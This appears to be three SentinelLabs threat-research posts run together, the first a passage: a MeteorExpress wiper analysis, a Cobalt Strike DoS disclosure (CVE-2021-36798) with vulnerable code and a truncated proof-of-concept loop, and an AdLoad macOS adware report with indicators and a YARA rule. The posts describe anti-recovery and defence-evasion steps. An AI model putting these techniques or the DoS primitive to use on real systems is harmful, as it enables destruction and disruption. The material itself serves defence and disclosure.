Though early reports did not include technical specifics, we were able to reconstruct most of the attack components relying on a combination of factors – early analysis by Padvish security researchers as well as a recovered attacker artifact that included a longer list of component names. The attackers abused Group Policy to distribute a cab file to conduct their attack.

The overall toolkit consists of a combination of batch files orchestrating different components dropped from RAR archives. The archives decompressed with an attacker supplied copy of Rar.exe coupled with the password ‘hackemall’. The wiper components are split by functionality: Meteor encrypts the filesystem based on an encrypted configuration, nti.exe corrupts the MBR, and mssetup.exe locks the system.

While we were able to recover a surprising amount of files for a wiper attack, some have eluded us. The MBR corrupter, nti.exe, is most notable among those missing components as Padvish researchers noted that the sectors overwritten by this component are the same as those overwritten by NotPetya. Until we are able to find this file, we can’t corroborate their finding.

The following is a breakdown of the central components of this attack.

The Batch Files

The majority of the attack is orchestrated via a set of batch files nested alongside their respective components and chained together in successive execution.

The following is a short description of the main functionality of these batch files.

setup.bat is the first component executed via group policy. Interestingly, it deletes a scheduled task called ‘AnalyzeAll’ under the Windows Power Efficiency Diagnostics directory. At this time, we haven’t been able to identify this task. This batch file is responsible for copying the initial components via a CAB file in a network share within the Iranian railways network. The CAB file is expanded and update.bat is executed with the parameters ‘hackemall’, relevant paths, and the Meteor wiper executable (env.exe).

envxp.bat appears to be a simpler alternative version of setup.bat. As the name suggests, perhaps it’s intended for Windows XP.

update.bat is a well written batch script that takes care of placing the remaining files and directing the remainder of the execution flow by calling the successive batch scripts. It takes three arguments: the password for the rar archives, the working directory, and the location of the payload. If the first two parameters are empty, it’ll exit smoothly. In the absence of a payload, the script attempts to run msapp.exe. That component is listed in the Padvish security writeup but the execution flow via setup.bat points to env.exe as the intended payload. We’ll delve into this component below.

The script checks for a hardcoded ‘lock_file’ under C:\Windows\Temp\__lock6423900.dat. The file serves as a makeshift mutex to avoid double execution and could double as a vaccine to avoid infection during development.

The batch file uses its own copy of WinRAR to decompress additional components from three additional archives (programs.rar, bcd.rar, ms.rar) using the same Pokemon-themed password, “hackemall” (Hack ’Em All). With each RAR archive, update.bat calls a subsequent batch archive before deleting the respective archive. The developers are very careful about cleaning up their components as soon as they’re used.

At this point the execution begins to bifurcate into other scripts. The first one is cache.bat, which focuses on clearing obstacles and preparing the ground for subsequent elements with the use of PowerShell.

cache.bat performs three main functions. First, it will disconnect the infected device from the network. Then it checks to see if Kaspersky antivirus is installed on the machine, in which case it’ll exit.

Finally, cache.bat will create Windows Defender exclusions for all of its components, effectively clearing the way for a successful infection without impediments. This script proved particularly valuable for us in rebuilding the entire attack chain as it lists most of the attack components giving us a threat hunting shopping list of sorts. It’s worth noting that this is the only batch script we’ve recovered that embeds PowerShell.

Subsequently, update.bat calls bcd.bat, which serves two functions: rendering the machine unbootable and cleaning up event logs.

In order to disable the machine’s ability to boot up, bcd.bat creates an alternative boot.ini file that points the bootloader to impossibly high disk and partition numbers (10000000) and overwrites the system’s copy of boot.ini. The script then uses the native bcdedit command to list boot option identifiers and deletes each.

The attackers then use the native wevtutil command to clear Security, System, and Application event logs. And finally, it abuses a legitimate SysInternals tool called Sync (the equivalent of the native UNIX sync()) to manually flush the cache of filesystem data to disk.

update.bat will then call msrun.bat, passing the Meteor wiper executable as a parameter. That script will in turn set the stage for its execution.

msrun.bat moves several components into place including a screen locker (mssetup.exe) and the encrypted configuration for the Meteor wiper (msconf.conf). The script also moves four additional files: mscap.bmp, mscap.jpg, mssetup.reg, msuser.reg. At the time of writing, we were unable to recover the .reg files and have no indication of what role they play. The image files are the background images that will replace the wallpaper on locked machines.

The same script then creates a scheduled task called mstask set to execute the Meteor wiper at five minutes to midnight.

The final portion of update.bat checks whether mssetup.exe and the Meteor wiper are running, taking appropriate actions like exiting the script or restarting the machine as necessary.

A Wiper Triad

There’s a strange level of fragmentation to the overall toolkit. Batch files spawn other batch files, different rar archives contain intermingled executables, and even the intended action is separated into three payloads: Meteor wipes the filesystem, mssetup.exe locks the user out, and nti.exe presumably corrupts the MBR. We have been able to identify two out of three components and detail their inner workings below.

The main payload of this convoluted attack chain is an executable dropped under env.exe or msapp.exe. Internally, the coders refer to it as ‘Meteor’. While this particular instance of Meteor suffers from a crippling OPSEC failure (the inclusion of verbose debug strings presumably intended for internal testing), it’s an externally configurable wiper with an extensive set of features.

SHA256
2aa6e42cb33ec3c132ffce425a92dfdb5e29d8ac112631aec068c8a78314d49b

SHA1
86e4f73c384d84b6ecd5ad9d7658c1cc575b54df

MD5
04633656756847a79c7a2a02d62e5522

Compilation Timestamp
2021-01-17 18:59:25

First Submission
2021-07-12 06:01:11

Size
587KB

ITW names
env.exe / msapp.exe

The Meteor wiper is executed as a scheduled task, called mstask and set to run at five minutes to midnight. It’s supplied with a single argument, an encrypted JSON configuration file, msconf.conf (68e95a3ccde3ea22b8eb8adcf0ad53c7993b2ea5316948e31d9eadd11b5151d7), that holds values for corresponding keys contained in cleartext within the binary:

state_path
log_encryption_key
processes_to_kill
process_termination_timeout
log_server_port
locker_background_image_jpg_path
auto_logon_path
locker_background_image_bmp_path
state_encryption_key
log_server_ip
log_file_path
paths_to_wipe
wiping_stage_logger_interval
locker_installer_path
locker_exe_path
locker_registry_settings_files
locker_password_hash
users_password
cleanup_scheduled_task_name
self_scheduled_task_name
cleanup_script_path
is_alive_loop_interval

At its most basic functionality, the Meteor wiper takes a set of paths from the encrypted config and walks these paths, wiping files. It also makes sure to delete shadow copies and removes the machine from the domain to avoid means of quick remediation. The wiper includes a wealth of additional functionality, most of which isn’t used in this particular attack, including:

• Changing passwords for all users
• Disabling screensavers
• Process termination based on a list of target processes
• Installing a screen locker
• Disabling recovery mode
• Changing boot policy error handling
• Creating scheduled tasks
• Logging off local sessions
• Changing lock screen images for different Windows versions (XP, 7, 10)
• Creating processes and executing commands

The developers resort to multiple redundant methods to accomplish each of their objectives. For example, Meteor will attempt to remove the machine from the domain via WinApi functions. If that fails it will then attempt to do the same via an equivalent WMI command.

Taking a step back to evaluate the development of Meteor and what it might tell us about the threat group involved, we must note that the composition of this binary is beset by contradictory practices.

First, the code is rife with sanity checks, error checking, and redundancy in accomplishing its goals. However, the operators clearly made a major mistake in compiling a binary with a wealth of debug strings meant for internal testing. The latter is an indication that despite whatever advanced practices the developers have in their arsenal, they lack a robust deployment pipeline that ensures such mistakes do not happen. Moreover, note that this sample was compiled six months before its deployment and the mistake was not caught.

Secondly, the code is a bizarre amalgam of custom code that wraps open-source components (cpp-httplib v0.2) and practically ancient abused software (FSProLabs’ Lock My PC 4). While that might suggest that the Meteor wiper was built to be disposable, or meant for a single operation, that’s juxtaposed with an externally configurable design that allows efficient reuse for different operations. Many of the available keys are not instantiated in this operation, like the ability to kill specific processes. Additionally, that external configuration is encrypted, presumably to limit analysis, but all of the configurable keys are hardcoded in plaintext within the main binary.

Taking a step back to look at the entire toolkit deployed in this operation, there are also some overlaps between the functionality contained within Meteor and that of other components executed beforehand that suggest some operational segmentation between developers of different components and the operators themselves. Functionality carried out with batch scripts is also embedded within Meteor such as disabling network adapters and corrupting boot.ini. The wiper also includes a commercial screen locker and yet this functionality is redundantly instantiated through a separate binary, mssetup.exe.

The externally configurable nature of the wiper entails that it wasn’t created for this particular operation. However, at the time of writing, we’ve been unable to find other attacks or variants of the Meteor wiper. For that reason, we are supplying a very broad (but well tested) hunting YARA rule below.

‘mssetup.exe’ Screenlocker

The MeteorExpress operators drop a standalone screenlocker. Despite a wealth of C++ template and exception handling code, mssetup.exe is simple. Most of its functionality is pictured above. It blocks user input before creating a Window that fills the entire screen. If an image is available at the hardcoded path C:\temp\mscap.bmp (dropped by the msrun.bat script), then it’ll use this image to fill the screen. Otherwise, it’ll draw a black rectangle. It’ll then disable the cursor and effectively lock the user out entirely. It’s worth noting that though this binary was clearly developed by the same production pipeline, it doesn’t include any of the verbose debug strings nor overt logging functionality.

SHA256
074bcc51b77d8e35b96ed444dc479b2878bf61bf7b07e4d7bd4cf136cc3c0dce

SHA1
e55cee8b49f80e957b52976b2da6379e329466a3

MD5
9a49102f53291a644bd14c8202d8fbe3

Compilation Timestamp
2021-01-17 18:59:28

First Submission
2021-07-12 06:04:15

Size
85KB

ITW names
mssetup.exe

A Missing MBR Corruptor

Finally, the Padvish security blog makes reference to an additional executable, nti.exe, that serves as an MBR corruptor. We’ve been unable to recover this at this time and suspect that the incident responders were unable to recover it themselves as their analysis centers on the corrupted MBRs rather than the binary.

One interesting claim in the Padvish blog is that the manner in which nti.exe corrupts the MBR is by overwriting the same sectors as the infamous NotPetya. While one’s first instinct might be to assume that the NotPetya operators were involved or that this is an attempt at a false flag operation, it’s important to remember that NotPetya’s MBR corrupting scheme was mostly cribbed from the original Petya used for criminal operations. An additional inconsistency from the Padvish blog is their claim that update.bat runs nti.exe. While they’re likely referring to a different version in their possession, our copy of update.bat makes no overt reference to nti.exe.

Conclusion

Conflict in cyberspace is overpopulated with increasingly brazen threat actors. Behind the artistry of this epic troll lies an uncomfortable reality where a previously unknown threat actor is willing to leverage wiper malware against public railways systems. The attacker is an intermediate level player whose different operational components sharply oscillate from clunky and rudimentary to slick and well-developed.

On the one hand, we have a new externally-configurable wiper packed full of interesting capabilities, involving a mature development process, and redundant means to accomplish their goals. Even their batch scripts include extensive error checking, a feature seldom encountered with deployment scripts. Their attack is designed to cripple the victim’s systems, leaving no recourse to simple remediation via domain administration or recovery of shadow copies.

On the other hand, we see an adversary that doesn’t yet have a handle on their deployment pipeline, using a sample of their malware that contains extensive debug features and burning functionality irrelevant to this particular operation. There’s feature redundancy between different attack components that suggests an uncoordinated division of responsibilities across teams. And files are dispensed in a clunky, verbose, and disorganized manner unbecoming of advanced attackers.

We cannot yet make out the shape of this adversary across the fog. Perhaps it’s an unscrupulous mercenary group. Or the latent effects of external training coming to bear on a region’s nascent operators. At this time, any form of attribution is pure speculation and threatens to oversimplify a raging conflict between multiple countries with vested interests, means, and motive.

Behind this epic troll/stunning provocation there’s a lot more to uncover in getting to know the actor behind MeteorExpress. We should keep in mind that the attackers were already familiar with the general setup of their target, features of the domain controller, and the target’s choice of backup system (Veeam). That implies a reconnaissance phase that flew entirely under the radar and a wealth of espionage tooling that we’ve yet to uncover.

Happy Hunting.

Indicators of Compromise

IoCs and Yara hunting rules available on SentinelLabs GitHub.

References

https://www.timesofisrael.com/hack-causes-chaos-on-iran-trains-posts-supreme-leaders-number-for-complaints/
https://www.voanews.com/middle-east/voa-news-iran/hackers-disrupt-irans-rail-service-fake-delay-messages
https://www.reuters.com/world/middle-east/hackers-breach-iran-rail-network-disrupt-service-2021-07-09/
https://twitter.com/cherepanov74/status/1416643609131114497?s=20
https://threats.amnpardaz.com/malware/trojan-win32-breakwin/
https://www.malwaretech.com/2017/06/petya-ransomware-attack-whats-known.html
https://www.reuters.com/article/us-emirates-tech-israel/uae-target-of-cyber-attacks-after-israel-deal-official-says-idUSKBN28G0BW

The post MeteorExpress | Mysterious Wiper Paralyzes Iranian Trains with Epic Troll appeared first on SentinelLabs.

Executive Summary

• Versions 4.2 and 4.3 of Cobalt Strike’s server contain multiple Denial of Service vulnerabilities (CVE-2021-36798).
• The vulnerabilities can render existing Beacons unable to communicate with their C2 server, prevent new beacons from being installed, and have the potential to interfere with ongoing operations.
• We have released a new Python library to help generically parse Beacon communication in order to help the research security community.

Introduction

Cobalt Strike is one of the most popular attack frameworks designed for Red Team operations. At the same time, many APTs and malicious actors also use it.

SentinelOne has seen numerous attacks involving Cobalt Strike Beacons across our customer base. SentinelOne detects Cobalt Strike Beacon and we are constantly rolling out new ways to detect modifications or novel ways to load Beacon in memory.

Given its rampant adoption by red teams and attackers alike, we wanted to better understand the operational security of Cobalt Strike. This led us to discover the vulnerabilities reported in CVE-2021-36798 and which we describe below.

Beacon Communications

To understand the vulnerabilities we found, we will briefly cover how Cobalt Strike Beacon communication works.

The first time the Cobalt Strike server runs, it creates randomly generated RSA keys, private and public, stored in a file named “.Cobalt Strike.beacon_keys”. Every Beacon stager has the public key embedded in it.

When a Beacon stager runs, it gathers information about the computer it is running on (CPU architecture, keyboard layout, internal IP, etc.), encrypts that info using the public key, and sends it to the server in an HTTP GET request. We will refer to that part as “Beacon registration”.

After the Beacon has registered with the server, the attacker can interact with the Beacon. From this point, the Beacon works by receiving and replying to “tasks”. Tasks can, for example, be used to get a process list, run a command, conduct lateral movement, and many other things of interest to the attacker.

Receiving tasks generally happens over HTTP GET requests and the Beacon replies with the task data over HTTP POST requests. Tasks are encrypted using an AES key sent by the Beacon in the registration request. The entire communication flow is explained in the official documentation, but the outline above should suffice for what follows.

One of the most famous features of Cobalt Strike is its Malleable C2. In short, this feature lets the attacker encode (“transform” in Cobalt’s language) all the beacon’s HTTP communications. The entire process described above is wrapped in the chosen Malleable profile’s transformation steps, which are also embedded in the stager itself.

Below is an example of a popular Malleable C2 profile that masquerades traffic as a normal request for the jquery code (source):

Vulnerabilities

First, it should be noted that there was already one known vulnerability in Cobalt Strike that was previously reported. A great write-up written by nccgroup is worth reading for a more in-depth understanding of Beacon’s communication internals. In practice, that vulnerability allowed for remote code execution on the server.

We’re not interested in remote code execution vulnerability here as it would be overkill for our purposes. Considering that the server’s code is written in Java and isn’t very large, it wasn’t too hard to find bugs there.

For example, in the Screenshot and Keylogger task replies, there’s an interesting behavior when reading the reply’s data:

public void process_beacon_callback_decrypted(final String beaconID, final byte[] responseBytes) {
...
// Sanity checks here
...
try {
final DataInputStream responeBytesStream = new DataInputStream(new ByteArrayInputStream(responseBytes));
cmd = responeBytesStream.readInt();
if (cmd == 0) {...}
...
else if (cmd == 3) {
	final DataParser dp = new DataParser(CommonUtils.readAll(responeBytesStream));
	dp.little();
	final byte[] scData = dp.readCountedBytes();    // Bug #1 here
	final int scDesktop = dp.readInt();
	final String scTitle = this.getCharsets().process(beaconID, dp.readCountedBytes());
	final String process6 = this.getCharsets().process(beaconID, dp.readCountedBytes());
	if (scData.length == 0) {
		output(BeaconOutput.Error(beaconID, "screenshot from desktop " + scDesktop + " is empty"));
		return;
	}
	...    
	output(BeaconOutput.OutputB(beaconID, "received screenshot of " + scTitle + " from " + process6 + " (" + CommonUtils.formatSize(scData.length) + ")"));
	...
}}}

In this example, we see the parsing of a screenshot task reply. To read the screenshot’s data, it calls the function readCountedBytes, which reads an integer from the first four bytes of the data and treats it as the screenshot’s size without any sanity checks.

Then, before reading the screenshot’s data, it allocates a buffer big enough to hold it:

byte[] array = new byte[ReplySize];

By manipulating the screenshot’s size we can make the server allocate an arbitrary size of memory, the size of which is totally controllable by us. However, in order to trigger this piece of code, we need to be able to talk to the server like a Beacon.

By combining all the knowledge of Beacon communication flow with our configuration parser, we have all we need to fake a Beacon.

We’ve published a POC python script that does just that: it parses a Beacon’s configuration and uses the information stored in it to register a new random Beacon on the server. After registering the Beacon, it’s pretty trivial to use the primitive found above to iteratively send fake task replies that squeeze every bit of available memory from the C2’s web server thread:

size = 1000000000
while True:
    try:
        if size 
This leads to the crashing of the server’s web thread that handles HTTP stagers and Beacon communication:

This would allow an attacker to cause memory exhaustion in the Cobalt Strike server  (the “Teamserver”) making the server unresponsive until it's restarted. This means that live Beacons cannot communicate to their C2 until the operators restart the server.
Restarting, however, won’t be enough to defend against this vulnerability as it is possible to repeatedly target the server until it is patched or the Beacon’s configuration is changed.
Either of these will make the existing live Beacons obsolete as they’ll be unable to communicate with the server until they’re updated with the new configuration. Therefore, this vulnerability has the potential to severely interfere with ongoing operations.
Although used every day for malicious attacks, Cobalt Strike is ultimately a legitimate product, so we have disclosed these issues responsibly to HelpSystems and they have fixed the vulnerabilities in the last release.
Utilities
On our Cobalt Strike parser repository, we’ve added new modules and code examples that implement:

• Parsing of a Beacon’s embedded Malleable profile instructions
• Parsing of a Beacon’s configuration directly from an active C2 (like the popular nmap script)
• Basic code for communicating with a C2 as a fake Beacon

Other than registering a fake Beacon with the server, the code we are releasing makes it easier to parse captured Beacon communications in a generic way.

Let’s take, for example, a case of a captured unencrypted Beacon communication from malware-traffic-analysis and decode it using the new communication module:

from urllib import parse
from pcaper import PcapParser
from parse_beacon_config import *
from comm import *

conf = cobaltstrikeConfig(r"beacon.bin").parse_config()
pparser = PcapParser()
reqs = pparser.read_pcap({'input': r"2019-07-25-Hancitor-style-Amadey-with-Pony-and-Cobalt-Strike.pcap"})

t = Transform(conf['HttpPost_Metadata'])
for req in reqs:
	if conf['HttpPostUri'] in req.uri:
		params = {k: v[0] for k, v in parse.parse_qs(parse.urlsplit(req.uri).query).items()}		
		print('\n\nFound beacon reply:\n', t.decode(req.body, req.headers, params)[1])

Output:

...
Found beacon reply:
 ♠r↓10.7.25.101:445 (platform: 500 version: 6.1 name: HIDDENROAD-PC domain: WORKGROUP)
Scanner module is complete
"))

Found beacon reply:
 ☺►[*] Wrote hijack DLL to 'C:\Users\SARAH~1.RUT\AppData\Local\Temp\745f.dll'
[+] Privileged file copy success! C:\Windows\System32\sysprep\CRYPTBASE.dll
[+] C:\Windows\System32\sysprep\sysprep.exe ran and exited.
[*] Cleanup successful
...

It parses the Malleable C2 instructions embedded in the Beacon’s configuration and uses it to decode Beacon replies from the captured HTTP requests.

There’s a lot that can be done with this new communication library and it will be interesting to see what other researchers from the community will do with it.

Conclusion

Research into attack frameworks like Cobalt Strike and Cellebrite is still a niche area. We hope that this research and the tools we have released help to further encourage research into the robustness of attack frameworks and expand the range of available options when facing their consistent abuse.

Disclosure Timeline

We would like to thank HelpSystems for their approach to our disclosure and for remediating the vulnerabilities.

04/20/2021 - Initial contact with HelpSystems for issue disclosure.
04/22/2021 - Issue details disclosed to HelpSystems.
04/23/2021 - HelpSystems confirmed the issue and asked for an extension until August 3rd.
04/28/2021 - SentinelOne accepted the extension.
07/18/2021 - Submitted CVE request to MITRE.
07/19/2021 - CVE-2021-36798 was assigned and reserved for the specified issue.
08/02/2021 - SentinelOne shared the publication date and post for review.
08/02/2021 - HelpSystems reviewed and confirmed the post for publication.
08/04/2021 - HelpSystems released Cobalt Strike 4.4, which contains a fix for CVE-2021-36798.

All issues found by SentinelOne are disclosed to the relevant third party according to our Responsible Disclosure Policy for Third Parties.

The post Hotcobalt – New Cobalt Strike DoS Vulnerability That Lets You Halt Operations appeared first on SentinelLabs.

Executive Summary

• AdLoad is one of several widespread adware and bundleware loaders currently afflicting macOS.
• In late 2019, SentinelLabs described how AdLoad was continuing to adapt and evade detection.
• This year we have seen over 150 unique samples that are part of a new campaign that remain undetected by Apple’s on-device malware scanner.
• Some of these samples have been known to have also been blessed by Apple’s notarization service.
• We describe the infection pattern and detail the indicators of compromise for the first time.

Introduction

AdLoad is one of several widespread adware and bundleware loaders currently afflicting macOS. AdLoad is certainly no newcomer to the macOS malware party. In late 2019, SentinelLabs described how AdLoad was continuing to adapt and evade detection, and this year we have seen another iteration that continues to impact Mac users who rely solely on Apple’s built-in security control XProtect for malware detection.

In this post, we detail one of several new AdLoad campaigns we are currently tracking that remain undetected by Apple’s macOS malware scanner. We describe the infection pattern and indicators of compromise for the first time and hope this information will help others to detect and remove this threat.

AdLoad | Staying One Step Ahead of Apple

AdLoad has been around since at least 2017, and when we previously reported on it in 2019, Apple had some partial protection against its earlier variants. Alas, at that time the 2019 variant was undetected by XProtect.

As of today, however, XProtect arguably has around 11 different signatures for AdLoad (it is ‘arguable’ because Apple uses non-industry standard names for its signature rules). As best as we can track Apple’s rule names to common vendor names, the following XProtect rules appear to be all partially or wholly related to AdLoad variants:

The good news for those without additional security protection is that the previous variant we reported in 2019 is now detected by XProtect, via rule 22d71e9.

The bad news is the variant used in this new campaign is undetected by any of those rules. Let’s see what’s changed.

AdLoad 2021 Campaign | ‘System’ and ‘Service’

Both the 2019 and 2021 variants of AdLoad used persistence and executable names that followed a consistent pattern. In 2019, that pattern included some combination of the words “Search” , “Result” and “Daemon”, as in the example shown above: “ElementarySignalSearchDaemon”. Many other examples can be found here.

The 2021 variant uses a different pattern that primarily relies on a file extension that is either .system or .service. Which file extension is used depends on the location of the dropped persistence file and executable as described below, but typically both .system and .service files will be found on the same infected device if the user gave privileges to the installer.

With or without privileges, AdLoad will install a persistence agent in the user’s Library LaunchAgents folder with patterns such as:

~/Library/LaunchAgents/com.ActivityInput.service
~/Library/LaunchAgents/com.AnalyzerWindow.service
~/Library/LaunchAgents/com.AssistiveFile.service
~/Library/LaunchAgents/com.BoostConsole.service
~/Library/LaunchAgents/com.DefaultTool.service
~/Library/LaunchAgents/com.ElementaryType.service
~/Library/LaunchAgents/com.ExtendedSprint.service
~/Library/LaunchAgents/com.SwitcherGuard.service

To date, we have found around 50 unique label patterns, with each one having both a .service and a .system version. Based on our previous understanding of AdLoad, we expect there to be many more.

When the user logs in, the AdLoad persistence agent will execute a binary hidden in the same user’s ~/Library/Application Support/ folder. That binary follows another deterministic pattern, whereby the child folder in Application Support is prepended with a period and a random string of digits. Within that directory is another directory called /Services/, which in turn contains a minimal application bundle having the same name as the LaunchAgent label. That barebones bundle contains an executable with the same name but without the com. prefix. For example:

~/Library/Application Support/.3276169528277499560/Services/com.SwitcherGuard.service/SwitcherGuard.service

A hidden tracker file called .logg and containing only a UUID string is also dropped in the Application Support folder. Despite the location, if the dropper has also been granted privileges, then the tracker file is owned by root rather than the user.

Further, assuming the user supplied admin privileges as requested by the installer, another persistence mechanism is written to the domain /Library/LaunchDaemons/ folder. This plist file uses the file extension .system, and the corresponding folder in the hidden Application Support folder is also named /System/ instead of /Services/.

The LaunchDaemon is dropped with one of a number of pre-determined labels that mirrors the label used in the LaunchAgent, such as:

/Library/LaunchDaemons/com.RecordMapper.system
/Library/LaunchDaemons/com.SectionaAssist.system
/Library/LaunchDaemons/com.SectionAssist.system
/Library/LaunchDaemons/com.SectionChannel.system
/Library/LaunchDaemons/com.StandardBoost.system
/Library/LaunchDaemons/com.SwitcherGuard.system
/Library/LaunchDaemons/com.TypeCharacter.system
/Library/LaunchDaemons/com.TypeInitiator.system

The persistence plists themselves pass different arguments to the executables they launch. For the system daemon, the first argument is -t and the second is the plist label. For the user persistence agent, the arguments -s and 6600 are passed to the first and second parameters, respectively.

Interestingly, the droppers for this campaign share the same pattern as Bundlore/Shlayer droppers. They use a fake Player.app mounted in a DMG. Many are signed with a valid signature; in some cases, they have even been known to be notarized.

Typically, we observe that developer certificates used to sign the droppers are revoked by Apple within a matter of days (sometimes hours) of samples being observed on VirusTotal, offering some belated and temporary protection against further infections by those particular signed samples by means of Gatekeeper and OCSP signature checks. Also typically, we see new samples signed with fresh certificates appearing within a matter of hours and days. Truly, it is a game of whack-a-mole.

The droppers we have seen take the form of a lightly obfuscated Zsh script that decompresses a number of times before finally executing the malware out of the /tmp directory (for a discussion of how to deobfucscate such scripts see here).

The final payload is not codesigned and isn’t known to the current version of Apple’s XProtect, v2149.

How New Is This Variant of AdLoad?

In our investigation, we found over 220 samples of this adware variant on VirusTotal, in both packed and unpacked form. At least 150 of these are unique. Interestingly, a lone sample of this variant was documented by analysts at Confiant, who described the malware’s string decryption routine in a post published on June 3rd, 2021. According to these researchers, the sample they observed had been notarized by Apple.

We note that across our corpus, all samples from November 2020 to August 2021 use the same or similar string decryption routine as that described by Confiant. Similarly, the earlier researchers’ sample, “MapperState.system” conforms to the AdLoad naming pattern that we observed and described above. Both these indicators definitively link our findings with theirs.

Our research showed that samples began to appear at least as early as November 2020, with regular further occurrences across the first half of 2021. However, there appears to have been a sharp uptick throughout July and in particular the early weeks of August 2021.

It certainly seems possible that the malware developers are taking advantage of the gap in XProtect, which itself has not been updated since a few week’s after Confiant’s research over two months ago. At the time of writing, XProtect was last updated to version 2149 around June 15th – 18th.

None of the samples we found are known to XProtect since they do not match any of the scanner’s current set of AdLoad rules.

However, there is reasonably good detection across a variety of different vendor engines used by VirusTotal for all the same samples that XProtect doesn’t detect.

On our test machine, we set the policy of the SentinelOne Agent to “Detect only” in order  to allow the malware to execute and observe its behaviour. In the Management console, the behavioral detection is mapped to the relevant MITRE indicators.

Since AdLoad is a common adware threat whose behavior of hijacking search engine results and injecting advertisements into web pages has been widely documented in the past, we ended our observation at this juncture.

Conclusion

As Apple itself has noted and we described elsewhere, malware on macOS is a problem that the device manufacturer is struggling to cope with. The fact that hundreds of unique samples of a well-known adware variant have been circulating for at least 10 months and yet still remain undetected by Apple’s built-in malware scanner demonstrates the necessity of adding further endpoint security controls to Mac devices.

As we indicated at the beginning of this post, this is only one campaign related to AdLoad that we are currently tracking. Further publications related to these campaigns are in progress.

Indicators of Compromise

YARA Hunting Rule

private rule Macho
{
	meta:
		description = "private rule to match Mach-O binaries"
	condition:
		uint32(0) == 0xfeedface or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca
}

rule adload_2021_system_service
{
	meta:
		description = "rule to catch Adload .system .service variant"
		author = "Phil Stokes, SentinelLabs"
		version = "1.0"
		last_modified = "2021-08-10"
		reference = "https://s1.ai/adload"
	strings:
		$a = { 48 8D 35 ?? ?? 00 00 48 8D 5D B8 BA B8 00 00 00 48 89 DF E8 ?? ?? FB FF 48 8B 43 08 48 2B 03 66 48 0F 6E C0 66 0F 62 05 ?? ?? 00 00 66 0F 5C 05 ?? ?? 00 00 0F 57 C9 66 0F 7C C0 48 8D 7D A0 0F 29 0F F2 0F 59 05 }
	condition:
		Macho and all of them
}

Persistence Filepaths

~/Library/LaunchAgents/com.<label>.service.plist
/Library/LaunchDaemons/com.<label>.system.plist

Executable Paths

~/Library/Application\ Support/.[0-9]{19}/Services/com.<label>.service/<label>.service
/Library/Application\ Support/.[0-9]{19}/System/com.<label>.system/<label>.system

Labels

AccessibleTask
ActivityElement
ActivityInput
AnalyzerWindow
AssistiveFile
BoostConsole
BrowserActivity
CleanParameter
CompellingState
ConfigProgress
ConfigType
DefaultTool
DeskProduct
DesktopInput
DominantCommand
DominantPartition
ElementaryType
ElemntState
EssentialDesktop
EssentialType
ExploreActivity
ExploreAnalog
ExploreSync
ExtendedSprint
GeneralObject
GuideRecord
InetImprovment
InitialProgram
InitialSkill
LeadingUpdater
ManagerAnalog
MapperState
OperativeMachine
OperativeUnit
OpticalUpdater
OriginalModule
RecordMapper
SectionAssist
SectionChannel
SkillApplication
SkillFormat
SkilledObject
StandardBoost
SwitcherGuard
TopProcesser
TrustedAnalog
TypeCharacter
TypeInitiator
TypicalProcess
UnitHandler
ValidBoost

MITRE

T1211 Defense Evasion
T1105 Remote File Copy
T1160 Persistence

SHA1 HASHES

.service, .system files
4c644adcdcc68c6c52e95bd851e7c944f307d968
6056024b3cf90b01b737c54ed5c785271c3acfeb
c2663bfe8fcf0734263cdf0875dcfad517576238
c5e2851de071001614dd58ecfab565614a6151b6
8e657ad96feb624696bad2b7b1e0d5d58da3ca94
b70a3c4b7f3d4e99fdf84efbeae7a39638221e59
2336c5e42444619d0c69d4cab1fc5b54ae92a0ec
e8d202e3581bf29c31e6f7fc279dc70d517510a8
722352a3a4a6f2a876dea90624991053034da555
95f74e68ed970c304d9ea39e2cd75bc3309cb4d2
4d258fefe729f16a55904ba993d783241d95dcd9
f250b4be027ff4a6a87b0dcf2cff5fd0acc11f0f
dd7df2bd2280213545fd3c6c0f9095d8c349f480
4ca250b74d1ee759bb51f3c50161c793a17da61d
446804008faf8a5509a02412f1e2f3a97e433cc0
525244f96c0225f279a6fa6dff55ed6de114334b
cc56bd813f34a3e19286ef211132a39e5f3f4c50
dfa112d78d5a49282fe2494ab11bb4e924fc1d9a
bf78c2f48991a8024b0c831c5a54324ca937c1b6
f3b01c0710a5fe623c4a944b1357c279a7310f35
670abdf80ea4e689ca376514dd76865ad22e39ec
cc4b56ded4a1f28396cb1ac625467b1c43c3cc0c
9eff76bc9c6cc6c88c438f7c442027cdb22e5d8d
034feaca526a21fce14e5a59df2a15ec840dc15d
f0bf049ac35b5d239fd386b81d03d9efd9049d0b
5060e552a2a78ff477f6c8ed09147bac31a8ad23
a163ad595be34988fa70bd57b2fa238ac36e43e2
210d1951430f7a7daf88bf40c72df6a2d1336e97
a7ae668be424e4fe5ce1758dd507cef58274ebb2
67825f467de2f988d62537b17286c7411366bf3c
17620732836f1edaa7d4f4a3623bfaee9851f060
a1735e52f37288b5c96ba72b121de1c79ae72bc9
4270783f1347a5bd0df6a9ad77352ff6aa4a81ae
b157cbdf8877f1aaa4415020bf976dae3af2ad98
d0fc30037dde0d6705eff642cd80f0a92bc23ab7
e9682590793c44c1ef20f455aa4f9aefe606e3d8
823d61b03e96951167753003d203e72b4b4bd42c
ab4bd98c0f798bb7e9344fa7b51aabece59c25f7
45aef3a5a171e49aab7e165c184e43dcab349d91
7bfc4d9051e216b99e5858bf653ed983d1fe0aaf
8f9889f93a86ba80e42b5ed314ee926b202878e8
2ae527b7e10097280f5101b0b586f64d4e6bdb46
1925e3f88a092e1a543e1042bb403794832c4beb
dd14fd2d3e498a9b41295a7f9ddd69ca6de6742b
d6697b70f598ac6fb8c68231eea0fcda28225f7c
d2fc35e7c55ae26985dba531c4492188fdc13f86
3656aa007b5d05277ba5527a71fd09ffa41137bc
bc614964673cad434cbfedb5b47d037f99919339
96c1563aea4242b3a014a6638e1fe616e93f213f
a6e24a3e051546e16a038e02efe8f5ae3df11536
3b1b832d418c9b3645bf1cd0bf3bd634a2cb15f9
1c713fe9ef48ffb4adda26fd59a4c16333602802
85171a3cf0f663d265da94a5387e42116a828819
c104163b139d20cb3727e89934a2c7352723514c
fa8c35b469bb7dd50166d70aae93a8ba2f5721b9
fff8dace788ffa2188c61b5efe95d07ca719056b
487aab1583b1258932461b7eaba565840439d77c
4bdfeb9e9dee0decb551838ab9fb19d21ac76375
243adaa1955e4a4a57cf240c0d4773c10e5d66a5
b037982890cb4cd39771d0a19615d5fb49b0fc64
59234581da266da1257a9fe1de45c8259e22ac1c
6dffb483119f0a2f97e000830a4bfc0aa1e1f696
